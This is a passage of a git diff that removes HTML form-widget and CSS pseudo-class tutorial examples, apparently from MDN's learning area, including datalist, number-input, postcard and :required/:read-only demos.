-            <p>
-                <label for="myFruit">What's your favorite fruit?</label>
-                <input type="text" name="myFruit" id="myFruit" list="mySuggestion" />
-                <datalist id="mySuggestion">
-                    <option>Apple</option>
-                    <option>Banana</option>
-                    <option>Blackberry</option>
-                    <option>Blueberry</option>
-                    <option>Lemon</option>
-                    <option>Lychee</option>
-                    <option>Peach</option>
-                    <option>Pear</option>
-                </datalist>
-            </p>
-            <p>
-                <label for="myFruit">What is your favorite fruit? (With fallback)</label>
-                <input type="text" id="myFruit" name="fruit" list="fruitList" />
-                <datalist id="fruitList">
-                    <label for="suggestion">or pick a fruit</label>
-                    <select id="suggestion" name="altFruit">
-                        <option>Apple</option>
-                        <option>Banana</option>
-                        <option>Blackberry</option>
-                        <option>Blueberry</option>
-                        <option>Lemon</option>
-                        <option>Lychee</option>
-                        <option>Peach</option>
-                        <option>Pear</option>
-                    </select>
-                </datalist>
-            </p>
-            <p>
-                <button type="submit">Submit me!</button>
-            </p>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/native-form-widgets/map.png b/docs/content/learning-area/html/forms/native-form-widgets/map.png
deleted file mode 100644
index f7b3b2894b..0000000000
Binary files a/docs/content/learning-area/html/forms/native-form-widgets/map.png and /dev/null differ
diff --git a/docs/content/learning-area/html/forms/native-form-widgets/multi-line-text-field.html b/docs/content/learning-area/html/forms/native-form-widgets/multi-line-text-field.html
deleted file mode 100644
index 5f0bc44643..0000000000
--- a/docs/content/learning-area/html/forms/native-form-widgets/multi-line-text-field.html
+++ /dev/null
@@ -1,27 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Multiple line text field example</title>
-        <style>
-            textarea {
-                width: 50px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <p>
-                <label for="comment">Add a comment here:</label>
-                <textarea cols="30" rows="10">
-This is my default content.
-          </textarea
-                >
-            </p>
-            <p>
-                <button type="submit">Submit me!</button>
-            </p>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/native-form-widgets/other-examples.html b/docs/content/learning-area/html/forms/native-form-widgets/other-examples.html
deleted file mode 100644
index 6957add5c3..0000000000
--- a/docs/content/learning-area/html/forms/native-form-widgets/other-examples.html
+++ /dev/null
@@ -1,28 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Other examples</title>
-    </head>
-
-    <body>
-        <form>
-            <p>
-                <label for="file">Choose an image to upload</label>
-                <input type="file" name="file" id="file" accept="image/*" multiple />
-            </p>
-            <div>
-                <input type="hidden" id="timestamp" name="timestamp" value="1286705410" />
-            </div>
-            <p>
-                <input type="image" name="pos" alt="" src="map.png" />
-            </p>
-            <p>
-                <progress max="100" value="75">75/100</progress>
-            </p>
-            <p>
-                <meter min="0" max="100" value="75" low="33" high="66" optimum="50">75</meter>
-            </p>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/native-form-widgets/positioned-legend.html b/docs/content/learning-area/html/forms/native-form-widgets/positioned-legend.html
deleted file mode 100644
index eb609fce8a..0000000000
--- a/docs/content/learning-area/html/forms/native-form-widgets/positioned-legend.html
+++ /dev/null
@@ -1,82 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Positioned legend example</title>
-        <style>
-            form {
-                width: 500px;
-                margin: 0 auto;
-            }
-
-            fieldset {
-                position: relative;
-                margin-bottom: 20px;
-            }
-
-            legend {
-                position: absolute;
-                color: white;
-                background-color: black;
-                padding: 3px;
-                bottom: 0;
-                right: 0;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <fieldset>
-                <legend>Choose all the vegetables you like to eat</legend>
-                <ul>
-                    <li>
-                        <label for="carrots">Carrots</label>
-                        <input type="checkbox" checked id="carrots" name="carrots" value="carrots" />
-                    </li>
-                    <li>
-                        <label for="peas">Peas</label>
-                        <input type="checkbox" id="peas" name="peas" value="peas" />
-                    </li>
-                    <li>
-                        <label for="cabbage">Cabbage</label>
-                        <input type="checkbox" id="cabbage" name="cabbage" value="cabbage" />
-                    </li>
-                    <li>
-                        <label for="cauli">Cauliflower</label>
-                        <input type="checkbox" id="cauli" name="cauli" value="cauli" />
-                    </li>
-                    <li>
-                        <label for="broc">Broccoli</label>
-                        <input type="checkbox" id="broc" name="broc" value="broc" />
-                    </li>
-                </ul>
-            </fieldset>
-            <fieldset>
-                <legend>What is your favorite meal?</legend>
-                <ul>
-                    <li>
-                        <label for="soup">Soup</label>
-                        <input type="radio" checked id="soup" name="meal" value="soup" />
-                    </li>
-                    <li>
-                        <label for="curry">Curry</label>
-                        <input type="radio" id="curry" name="meal" value="curry" />
-                    </li>
-                    <li>
-                        <label for="pizza">Pizza</label>
-                        <input type="radio" id="pizza" name="meal" value="pizza" />
-                    </li>
-                    <li>
-                        <label for="tacos">Tacos</label>
-                        <input type="radio" id="tacos" name="meal" value="tacos" />
-                    </li>
-                    <li>
-                        <label for="bolognaise">Bolognaise</label>
-                        <input type="radio" id="bolognaise" name="meal" value="bolognaise" />
-                    </li>
-                </ul>
-            </fieldset>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/native-form-widgets/single-line-text-fields.html b/docs/content/learning-area/html/forms/native-form-widgets/single-line-text-fields.html
deleted file mode 100644
index 1bb91ea757..0000000000
--- a/docs/content/learning-area/html/forms/native-form-widgets/single-line-text-fields.html
+++ /dev/null
@@ -1,39 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Single line text field examples</title>
-    </head>
-
-    <body>
-        <form>
-            <p>
-                <label for="comment">Add a comment here:</label>
-                <input type="text" id="comment" name="comment" value="I'm a text field" />
-            </p>
-            <p>
-                <label for="email">Enter your email address:</label>
-                <input type="email" id="email" name="email" multiple />
-            </p>
-            <p>
-                <label for="pwd">Enter your password:</label>
-                <input type="password" id="pwd" name="pwd" />
-            </p>
-            <p>
-                <label for="search">Search:</label>
-                <input type="search" id="search" name="search" />
-            </p>
-            <p>
-                <label for="tel">Enter your number:</label>
-                <input type="tel" id="tel" name="tel" />
-            </p>
-            <p>
-                <label for="url">Web address:</label>
-                <input type="url" id="url" name="url" />
-            </p>
-            <p>
-                <button type="submit">Submit me!</button>
-            </p>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/number-example/index.html b/docs/content/learning-area/html/forms/number-example/index.html
deleted file mode 100644
index bd235dc320..0000000000
--- a/docs/content/learning-area/html/forms/number-example/index.html
+++ /dev/null
@@ -1,95 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>&lt;input type="number"&gt; example</title>
-        <style>
-            div {
-                margin-bottom: 10px;
-                position: relative;
-            }
-
-            input[type='number'] {
-                width: 100px;
-            }
-
-            input + span {
-                padding-right: 30px;
-            }
-
-            input:invalid + span:after {
-                position: absolute;
-                content: '✖';
-                padding-left: 5px;
-            }
-
-            input:valid + span:after {
-                position: absolute;
-                content: '✓';
-                padding-left: 5px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <div class="metersInputGroup">
-                <label for="meters">Enter your height — meters:</label>
-                <input id="meters" type="number" name="meters" step="0.01" min="0" placeholder="e.g. 1.78" required />
-                <span class="validity"></span>
-            </div>
-            <div class="feetInputGroup" style="display: none">
-                <span>Enter your height — </span>
-                <label for="feet">feet:</label>
-                <input id="feet" type="number" name="feet" min="0" step="1" />
-                <span class="validity"></span>
-                <label for="inches">inches:</label>
-                <input id="inches" type="number" name="inches" min="0" max="11" step="1" />
-                <span class="validity"></span>
-            </div>
-            <div>
-                <input type="button" class="meters" value="Enter height in feet and inches" />
-            </div>
-            <div>
-                <input type="submit" value="Submit form" />
-            </div>
-        </form>
-        <script>
-            var metersInputGroup = document.querySelector('.metersInputGroup');
-            var feetInputGroup = document.querySelector('.feetInputGroup');
-            var metersInput = document.querySelector('#meters');
-            var feetInput = document.querySelector('#feet');
-            var inchesInput = document.querySelector('#inches');
-            var switchBtn = document.querySelector('input[type="button"]');
-
-            switchBtn.addEventListener('click', function () {
-                if (switchBtn.getAttribute('class') === 'meters') {
-                    switchBtn.setAttribute('class', 'feet');
-                    switchBtn.value = 'Enter height in meters';
-
-                    metersInputGroup.style.display = 'none';
-                    feetInputGroup.style.display = 'block';
-
-                    feetInput.setAttribute('required', '');
-                    inchesInput.setAttribute('required', '');
-                    metersInput.removeAttribute('required');
-
-                    metersInput.value = '';
-                } else {
-                    switchBtn.setAttribute('class', 'meters');
-                    switchBtn.value = 'Enter height in feet and inches';
-
-                    metersInputGroup.style.display = 'block';
-                    feetInputGroup.style.display = 'none';
-
-                    feetInput.removeAttribute('required');
-                    inchesInput.removeAttribute('required');
-                    metersInput.setAttribute('required', '');
-
-                    feetInput.value = '';
-                    inchesInput.value = '';
-                }
-            });
-        </script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/postcard-example/background.jpg b/docs/content/learning-area/html/forms/postcard-example/background.jpg
deleted file mode 100644
index 48a6a67bc5..0000000000
Binary files a/docs/content/learning-area/html/forms/postcard-example/background.jpg and /dev/null differ
diff --git a/docs/content/learning-area/html/forms/postcard-example/fonts/journal-webfont.woff b/docs/content/learning-area/html/forms/postcard-example/fonts/journal-webfont.woff
deleted file mode 100644
index 803f5133ea..0000000000
Binary files a/docs/content/learning-area/html/forms/postcard-example/fonts/journal-webfont.woff and /dev/null differ
diff --git a/docs/content/learning-area/html/forms/postcard-example/fonts/journal-webfont.woff2 b/docs/content/learning-area/html/forms/postcard-example/fonts/journal-webfont.woff2
deleted file mode 100644
index 92f0e31003..0000000000
Binary files a/docs/content/learning-area/html/forms/postcard-example/fonts/journal-webfont.woff2 and /dev/null differ
diff --git a/docs/content/learning-area/html/forms/postcard-example/fonts/veteran_typewriter-webfont.woff b/docs/content/learning-area/html/forms/postcard-example/fonts/veteran_typewriter-webfont.woff
deleted file mode 100644
index 80e5501a5d..0000000000
Binary files a/docs/content/learning-area/html/forms/postcard-example/fonts/veteran_typewriter-webfont.woff and /dev/null differ
diff --git a/docs/content/learning-area/html/forms/postcard-example/fonts/veteran_typewriter-webfont.woff2 b/docs/content/learning-area/html/forms/postcard-example/fonts/veteran_typewriter-webfont.woff2
deleted file mode 100644
index fae3bee07e..0000000000
Binary files a/docs/content/learning-area/html/forms/postcard-example/fonts/veteran_typewriter-webfont.woff2 and /dev/null differ
diff --git a/docs/content/learning-area/html/forms/postcard-example/index.html b/docs/content/learning-area/html/forms/postcard-example/index.html
deleted file mode 100644
index 0291f0dc26..0000000000
--- a/docs/content/learning-area/html/forms/postcard-example/index.html
+++ /dev/null
@@ -1,139 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Postcard example</title>
-        <style>
-            @font-face {
-                font-family: 'handwriting';
-                src: url('fonts/journal-webfont.woff2') format('woff2'), url('fonts/journal-webfont.woff') format('woff');
-                font-weight: normal;
-                font-style: normal;
-            }
-
-            @font-face {
-                font-family: 'typewriter';
-                src: url('fonts/veteran_typewriter-webfont.woff2') format('woff2'), url('fonts/veteran_typewriter-webfont.woff') format('woff');
-                font-weight: normal;
-                font-style: normal;
-            }
-
-            body {
-                font: 1.3rem sans-serif;
-                padding: 0.5em;
-                margin: 0;
-                background: #222;
-            }
-
-            form {
-                position: relative;
-                width: 740px;
-                height: 498px;
-                margin: 0 auto;
-                padding: 1em;
-                box-sizing: border-box;
-                background: #fff url(background.jpg);
-
-                /* we create our grid */
-                display: grid;
-                grid-gap: 20px;
-                grid-template-columns: repeat(2, 1fr);
-                grid-template-rows: 10em 1em 1em 1em;
-            }
-
-            h1 {
-                font: 1em 'typewriter', monospace;
-                align-self: end;
-            }
-
-            #message {
-                grid-row: 1 / 5;
-            }
-
-            #from,
-            #reply {
-                display: flex;
-            }
-
-            label {
-                font: 0.8em 'typewriter', sans-serif;
-            }
-
-            input,
-            textarea {
-                font: 1.4em/1.5em 'handwriting', cursive, sans-serif;
-                border: none;
-                padding: 0 10px;
-                margin: 0;
-                width: 80%;
-                background: none;
-            }
-
-            input:focus,
-            textarea:focus {
-                background: rgba(0, 0, 0, 0.1);
-                border-radius: 5px;
-            }
-
-            textarea {
-                display: block;
-
-                padding: 10px;
-                margin: 10px 0 0 -10px;
-                width: 100%;
-                height: 90%;
-
-                border-right: 1px solid;
-
-                /* resize  : none; */
-                overflow: auto;
-            }
-
-            button {
-                padding: 5px;
-                font: bold 0.6em sans-serif;
-                border: 2px solid #333;
-                border-radius: 5px;
-                background: none;
-                cursor: pointer;
-                transform: rotate(-1.5deg);
-            }
-
-            button:after {
-                content: ' >>>';
-            }
-
-            button:hover,
-            button:focus {
-                outline: none;
-                background: #000;
-                color: #fff;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <h1>to: Mozilla</h1>
-
-            <div id="from">
-                <label for="name">from:</label>
-                <input type="text" id="name" name="user_name" />
-            </div>
-
-            <div id="reply">
-                <label for="mail">reply:</label>
-                <input type="email" id="mail" name="user_email" />
-            </div>
-
-            <div id="message">
-                <label for="msg">Your message:</label>
-                <textarea id="msg" name="user_message"></textarea>
-            </div>
-
-            <div class="button">
-                <button type="submit">Send your message</button>
-            </div>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/postcard-example/postcard-start.html b/docs/content/learning-area/html/forms/postcard-example/postcard-start.html
deleted file mode 100644
index d5c3358c63..0000000000
--- a/docs/content/learning-area/html/forms/postcard-example/postcard-start.html
+++ /dev/null
@@ -1,10 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Postcard example</title>
-        <style></style>
-    </head>
-
-    <body></body>
-</html>
diff --git a/docs/content/learning-area/html/forms/pseudo-classes/basic-required-optional.html b/docs/content/learning-area/html/forms/pseudo-classes/basic-required-optional.html
deleted file mode 100644
index 2df81a6d92..0000000000
--- a/docs/content/learning-area/html/forms/pseudo-classes/basic-required-optional.html
+++ /dev/null
@@ -1,87 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Basic :required and :optional demo</title>
-        <link href="https://fonts.googleapis.com/css?family=Josefin+Sans&display=swap" rel="stylesheet" />
-        <style>
-            body {
-                font-family: 'Josefin Sans', sans-serif;
-                margin: 20px auto;
-                max-width: 460px;
-            }
-
-            fieldset {
-                padding: 10px 30px 0;
-            }
-
-            legend {
-                color: white;
-                background: black;
-                padding: 5px 10px;
-            }
-
-            fieldset > div {
-                margin-bottom: 20px;
-            }
-
-            button,
-            label,
-            input {
-                display: block;
-                font-family: inherit;
-                font-size: 100%;
-                padding: 0;
-                margin: 0;
-                box-sizing: border-box;
-                width: 100%;
-                padding: 5px;
-                height: 30px;
-            }
-
-            input {
-                box-shadow: inset 1px 1px 3px #ccc;
-                border-radius: 5px;
-            }
-
-            input:hover,
-            input:focus {
-                background-color: #eee;
-            }
-
-            input:required {
-                border: 1px solid black;
-            }
-
-            input:optional {
-                border: 1px solid silver;
-            }
-
-            button {
-                width: 60%;
-                margin: 0 auto;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <fieldset>
-                <legend>Feedback form</legend>
-                <div>
-                    <label for="fname">First name: </label>
-                    <input id="fname" name="fname" type="text" required />
-                </div>
-                <div>
-                    <label for="lname">Last name: </label>
-                    <input id="lname" name="lname" type="text" required />
-                </div>
-                <div>
-                    <label for="email">Email address (include if you want a response): </label>
-                    <input id="email" name="email" type="email" />
-                </div>
-                <div><button>Submit</button></div>
-            </fieldset>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/pseudo-classes/enabled-disabled-shipping.html b/docs/content/learning-area/html/forms/pseudo-classes/enabled-disabled-shipping.html
deleted file mode 100644
index 85c3320a10..0000000000
--- a/docs/content/learning-area/html/forms/pseudo-classes/enabled-disabled-shipping.html
+++ /dev/null
@@ -1,140 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>:enabled and :disabled demo — shipping form</title>
-        <link href="https://fonts.googleapis.com/css?family=Josefin+Sans&display=swap" rel="stylesheet" />
-        <style>
-            body {
-                font-family: 'Josefin Sans', sans-serif;
-                margin: 20px auto;
-                max-width: 460px;
-            }
-
-            fieldset {
-                padding: 10px 30px 0;
-                margin-bottom: 20px;
-            }
-
-            legend {
-                color: white;
-                background: black;
-                padding: 5px 10px;
-            }
-
-            fieldset > div {
-                margin-bottom: 20px;
-                display: flex;
-            }
-
-            button,
-            label,
-            input[type='text'] {
-                display: block;
-                font-family: inherit;
-                font-size: 100%;
-                padding: 0;
-                margin: 0;
-                box-sizing: border-box;
-                width: 100%;
-                padding: 5px;
-                height: 30px;
-            }
-
-            input {
-                box-shadow: inset 1px 1px 3px #ccc;
-                border-radius: 5px;
-            }
-
-            input:hover,
-            input:focus {
-                background-color: #eee;
-            }
-
-            input[type='text']:disabled {
-                background: #eee;
-                border: 1px solid #ccc;
-            }
-
-            .disabled-label {
-                color: #aaa;
-            }
-
-            button {
-                width: 60%;
-                margin: 0 auto;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <fieldset id="shipping">
-                <legend>Shipping address</legend>
-                <div>
-                    <label for="name1">Name: </label>
-                    <input id="name1" name="name1" type="text" required />
-                </div>
-                <div>
-                    <label for="address1">Address: </label>
-                    <input id="address1" name="address1" type="text" required />
-                </div>
-                <div>
-                    <label for="pcode1">Zip/postal code: </label>
-                    <input id="pcode1" name="pcode1" type="text" required />
-                </div>
-            </fieldset>
-            <fieldset id="billing">
-                <legend>Billing address</legend>
-                <div>
-                    <label for="billing-checkbox">Same as shipping address:</label>
-                    <input type="checkbox" id="billing-checkbox" checked />
-                </div>
-                <div>
-                    <label for="name" class="billing-label disabled-label">Name: </label>
-                    <input id="name" name="name" type="text" disabled required />
-                </div>
-                <div>
-                    <label for="address2" class="billing-label disabled-label">Address: </label>
-                    <input id="address2" name="address2" type="text" disabled required />
-                </div>
-                <div>
-                    <label for="pcode2" class="billing-label disabled-label">Zip/postal code: </label>
-                    <input id="pcode2" name="pcode2" type="text" disabled required />
-                </div>
-            </fieldset>
-
-            <div><button>Submit</button></div>
-        </form>
-
-        <script>
-            // Wait for the page to finish loading
-            document.addEventListener(
-                'DOMContentLoaded',
-                function () {
-                    // Attach `change` event listener to checkbox
-                    document.getElementById('billing-checkbox').addEventListener('change', toggleBilling);
-                },
-                false
-            );
-
-            function toggleBilling() {
-                // Select the billing text fields
-                let billingItems = document.querySelectorAll('#billing input[type="text"]');
-                // Select the billing text labels
-                let billingLabels = document.querySelectorAll('.billing-label');
-
-                // Toggle the billing text fields and labels
-                for (let i = 0; i < billingItems.length; i++) {
-                    billingItems[i].disabled = !billingItems[i].disabled;
-
-                    if (billingLabels[i].getAttribute('class') === 'billing-label disabled-label') {
-                        billingLabels[i].setAttribute('class', 'billing-label');
-                    } else {
-                        billingLabels[i].setAttribute('class', 'billing-label disabled-label');
-                    }
-                }
-            }
-        </script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/pseudo-classes/out-of-range.html b/docs/content/learning-area/html/forms/pseudo-classes/out-of-range.html
deleted file mode 100644
index 71d7978105..0000000000
--- a/docs/content/learning-area/html/forms/pseudo-classes/out-of-range.html
+++ /dev/null
@@ -1,132 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>:out-of-range example</title>
-        <link href="https://fonts.googleapis.com/css?family=Josefin+Sans&display=swap" rel="stylesheet" />
-        <style>
-            body {
-                font-family: 'Josefin Sans', sans-serif;
-                margin: 20px auto;
-                max-width: 460px;
-            }
-
-            fieldset {
-                padding: 10px 30px 0;
-            }
-
-            legend {
-                color: white;
-                background: black;
-                padding: 5px 10px;
-            }
-
-            fieldset > div {
-                margin-bottom: 20px;
-                display: flex;
-                flex-flow: row wrap;
-            }
-
-            button,
-            label,
-            input {
-                display: block;
-                font-family: inherit;
-                font-size: 100%;
-                padding: 0;
-                margin: 0;
-                box-sizing: border-box;
-                width: 100%;
-                padding: 5px;
-                height: 30px;
-            }
-
-            input {
-                box-shadow: inset 1px 1px 3px #ccc;
-                border-radius: 5px;
-            }
-
-            input:hover,
-            input:focus {
-                background-color: #eee;
-            }
-
-            input + span {
-                position: relative;
-            }
-
-            input + span::after {
-                font-size: 0.7rem;
-                position: absolute;
-                padding: 5px 10px;
-                top: -26px;
-            }
-
-            input:required + span::after {
-                color: white;
-                background-color: black;
-                content: 'required';
-                left: -70px;
-            }
-
-            input:out-of-range + span::after {
-                color: white;
-                background-color: red;
-                width: 155px;
-                content: 'Outside allowable value range';
-                left: -182px;
-            }
-
-            input + span::before {
-                position: absolute;
-                right: -20px;
-                top: 5px;
-            }
-
-            input:invalid {
-                border: 2px solid red;
-            }
-
-            input:invalid + span::before {
-                content: '✖';
-                color: red;
-            }
-
-            input:valid + span::before {
-                content: '✓';
-                color: green;
-            }
-
-            button {
-                width: 60%;
-                margin: 0 auto;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <fieldset>
-                <legend>Feedback form</legend>
-
-                <p>Required fields are labelled with "required".</p>
-                <div>
-                    <label for="name">Name: </label>
-                    <input id="name" name="name" type="text" required />
-                    <span></span>
-                </div>
-                <div>
-                    <label for="age">Age (must be 12+): </label>
-                    <input id="age" name="age" type="number" min="12" max="120" required />
-                    <span></span>
-                </div>
-                <div>
-                    <label for="email">Email address (include if you want a response): </label>
-                    <input id="email" name="email" type="email" />
-                    <span></span>
-                </div>
-                <div><button>Submit</button></div>
-            </fieldset>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/pseudo-classes/radios-checked-default.html b/docs/content/learning-area/html/forms/pseudo-classes/radios-checked-default.html
deleted file mode 100644
index 6139228896..0000000000
--- a/docs/content/learning-area/html/forms/pseudo-classes/radios-checked-default.html
+++ /dev/null
@@ -1,85 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Radio buttons :checked, :default</title>
-        <link href="https://fonts.googleapis.com/css?family=Josefin+Sans&display=swap" rel="stylesheet" />
-        <style>
-            body {
-                font-family: 'Josefin Sans', sans-serif;
-            }
-
-            input[type='radio'] {
-                -webkit-appearance: none;
-                appearance: none;
-            }
-
-            input[type='radio'] {
-                width: 20px;
-                height: 20px;
-                border-radius: 10px;
-                border: 2px solid gray;
-                /* Adjusts the position of the checkboxes on the text baseline */
-                vertical-align: -2px;
-                outline: none;
-            }
-
-            input[type='radio']::before {
-                display: block;
-                content: ' ';
-                width: 10px;
-                height: 10px;
-                border-radius: 6px;
-                background-color: red;
-                font-size: 1.2em;
-                transform: translate(3px, 3px) scale(0);
-                transform-origin: center;
-                transition: all 0.3s ease-in;
-            }
-
-            input[type='radio']:checked::before {
-                transform: translate(3px, 3px) scale(1);
-                transition: all 0.3s cubic-bezier(0.25, 0.25, 0.56, 2);
-            }
-
-            input ~ span {
-                position: relative;
-            }
-
-            input:default ~ span::after {
-                font-size: 0.7rem;
-                position: absolute;
-                content: 'Default';
-                color: white;
-                background-color: black;
-                padding: 5px 10px;
-                right: -65px;
-                top: -3px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <fieldset>
-                <legend>Choose your favourite fruit</legend>
-
-                <p>
-                    <input type="radio" name="fruit" value="cherry" id="cherry" />
-                    <label for="cherry">Cherry</label>
-                    <span></span>
-                </p>
-                <p>
-                    <input type="radio" name="fruit" value="banana" id="banana" checked />
-                    <label for="banana">Banana</label>
-                    <span></span>
-                </p>
-                <p>
-                    <input type="radio" name="fruit" value="strawberry" id="strawberry" />
-                    <label for="strawberry">Strawberry</label>
-                    <span></span>
-                </p>
-            </fieldset>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/pseudo-classes/radios-checked-indeterminate.html b/docs/content/learning-area/html/forms/pseudo-classes/radios-checked-indeterminate.html
deleted file mode 100644
index 284538e1e7..0000000000
--- a/docs/content/learning-area/html/forms/pseudo-classes/radios-checked-indeterminate.html
+++ /dev/null
@@ -1,85 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Radio buttons :checked, :indeterminate</title>
-        <link href="https://fonts.googleapis.com/css?family=Josefin+Sans&display=swap" rel="stylesheet" />
-        <style>
-            body {
-                font-family: 'Josefin Sans', sans-serif;
-            }
-
-            input[type='radio'] {
-                -webkit-appearance: none;
-                appearance: none;
-            }
-
-            input[type='radio'] {
-                width: 20px;
-                height: 20px;
-                border-radius: 10px;
-                border: 2px solid gray;
-                /* Adjusts the position of the checkboxes on the text baseline */
-                vertical-align: -2px;
-                outline: none;
-            }
-
-            input[type='radio']::before {
-                display: block;
-                content: ' ';
-                width: 10px;
-                height: 10px;
-                border-radius: 6px;
-                background-color: red;
-                font-size: 1.2em;
-                transform: translate(3px, 3px) scale(0);
-                transform-origin: center;
-                transition: all 0.3s ease-in;
-            }
-
-            input[type='radio']:checked::before {
-                transform: translate(3px, 3px) scale(1);
-                transition: all 0.3s cubic-bezier(0.25, 0.25, 0.56, 2);
-            }
-
-            input[type='radio']:indeterminate {
-                border: 2px solid red;
-                animation: 0.4s linear infinite alternate border-pulse;
-            }
-
-            @keyframes border-pulse {
-                from {
-                    border: 2px solid red;
-                }
-
-                to {
-                    border: 6px solid red;
-                }
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <fieldset>
-                <legend>Choose your favourite fruit</legend>
-
-                <p>
-                    <input type="radio" name="fruit" value="cherry" id="cherry" />
-                    <label for="cherry">Cherry</label>
-                    <span></span>
-                </p>
-                <p>
-                    <input type="radio" name="fruit" value="banana" id="banana" />
-                    <label for="banana">Banana</label>
-                    <span></span>
-                </p>
-                <p>
-                    <input type="radio" name="fruit" value="strawberry" id="strawberry" />
-                    <label for="strawberry">Strawberry</label>
-                    <span></span>
-                </p>
-            </fieldset>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/pseudo-classes/readonly-confirmation.html b/docs/content/learning-area/html/forms/pseudo-classes/readonly-confirmation.html
deleted file mode 100644
index ccb62491da..0000000000
--- a/docs/content/learning-area/html/forms/pseudo-classes/readonly-confirmation.html
+++ /dev/null
@@ -1,128 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>:read-only demo — confirmation form</title>
-        <link href="https://fonts.googleapis.com/css?family=Josefin+Sans&display=swap" rel="stylesheet" />
-        <style>
-            body {
-                font-family: 'Josefin Sans', sans-serif;
-                margin: 20px auto;
-                max-width: 460px;
-            }
-
-            fieldset {
-                padding: 10px 30px 0;
-                margin-bottom: 20px;
-            }
-
-            legend {
-                color: white;
-                background: black;
-                padding: 5px 10px;
-            }
-
-            fieldset > div {
-                margin-bottom: 20px;
-                display: flex;
-                justify-content: space-between;
-            }
-
-            button,
-            label,
-            input[type='text'],
-            textarea {
-                display: block;
-                font-family: inherit;
-                font-size: 100%;
-                padding: 0;
-                margin: 0;
-                box-sizing: border-box;
-                padding: 5px;
-                height: 30px;
-            }
-
-            input[type='text'],
-            textarea {
-                width: 50%;
-            }
-
-            textarea {
-                height: 110px;
-                resize: none;
-            }
-
-            label {
-                width: 40%;
-            }
-
-            input:hover,
-            input:focus,
-            textarea:hover,
-            textarea:focus {
-                background-color: #eee;
-            }
-
-            button {
-                width: 60%;
-                margin: 20px auto;
-            }
-
-            input:-moz-read-only,
-            textarea:-moz-read-only,
-            input:read-only,
-            textarea:read-only {
-                border: 0;
-                box-shadow: none;
-                background-color: white;
-            }
-
-            textarea:-moz-read-write,
-            textarea:read-write {
-                box-shadow: inset 1px 1px 3px #ccc;
-                border-radius: 5px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <fieldset>
-                <legend contenteditable="true">Check shipping details</legend>
-                <div>
-                    <label for="name">Name: </label>
-                    <input id="name" name="name" type="text" value="Mr Soft" readonly />
-                </div>
-                <div>
-                    <label for="address">Address: </label>
-                    <textarea id="address" name="address" readonly>
-23 Elastic Way,
-Viscous,
-Bright Ridge,
-CA
-</textarea
-                    >
-                </div>
-                <div>
-                    <label for="pcode">Zip/postal code: </label>
-                    <input id="pcode" name="pcode" type="text" value="94708" readonly />
-                </div>
-            </fieldset>
-
-            <fieldset>
-                <legend>Final instructions</legend>
-                <div>
-                    <label for="sms-confirm">Send confirmation by SMS?</label>
-                    <input id="sms-confirm" name="sms-confirm" type="checkbox" />
-                </div>
-                <div>
-                    <label for="instructions">Any special instructions?</label>
-                    <textarea id="instructions" name="instructions"></textarea>
-                </div>
-            </fieldset>
-
-            <div><button type="button">Amend details</button></div>
-            <div><button type="submit">Submit</button></div>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/pseudo-classes/required-optional-generated.html b/docs/content/learning-area/html/forms/pseudo-classes/required-optional-generated.html
deleted file mode 100644
index b0798903cb..0000000000
--- a/docs/content/learning-area/html/forms/pseudo-classes/required-optional-generated.html
+++ /dev/null
@@ -1,101 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>:required and :optional with generated content</title>
-        <link href="https://fonts.googleapis.com/css?family=Josefin+Sans&display=swap" rel="stylesheet" />
-        <style>
-            body {
-                font-family: 'Josefin Sans', sans-serif;
-                margin: 20px auto;
-                max-width: 460px;
-            }
-
-            fieldset {
-                padding: 10px 30px 0;
-            }
-
-            legend {
-                color: white;
-                background: black;
-                padding: 5px 10px;
-            }
-
-            fieldset > div {
-                margin-bottom: 20px;
-                display: flex;
-                flex-flow: row wrap;
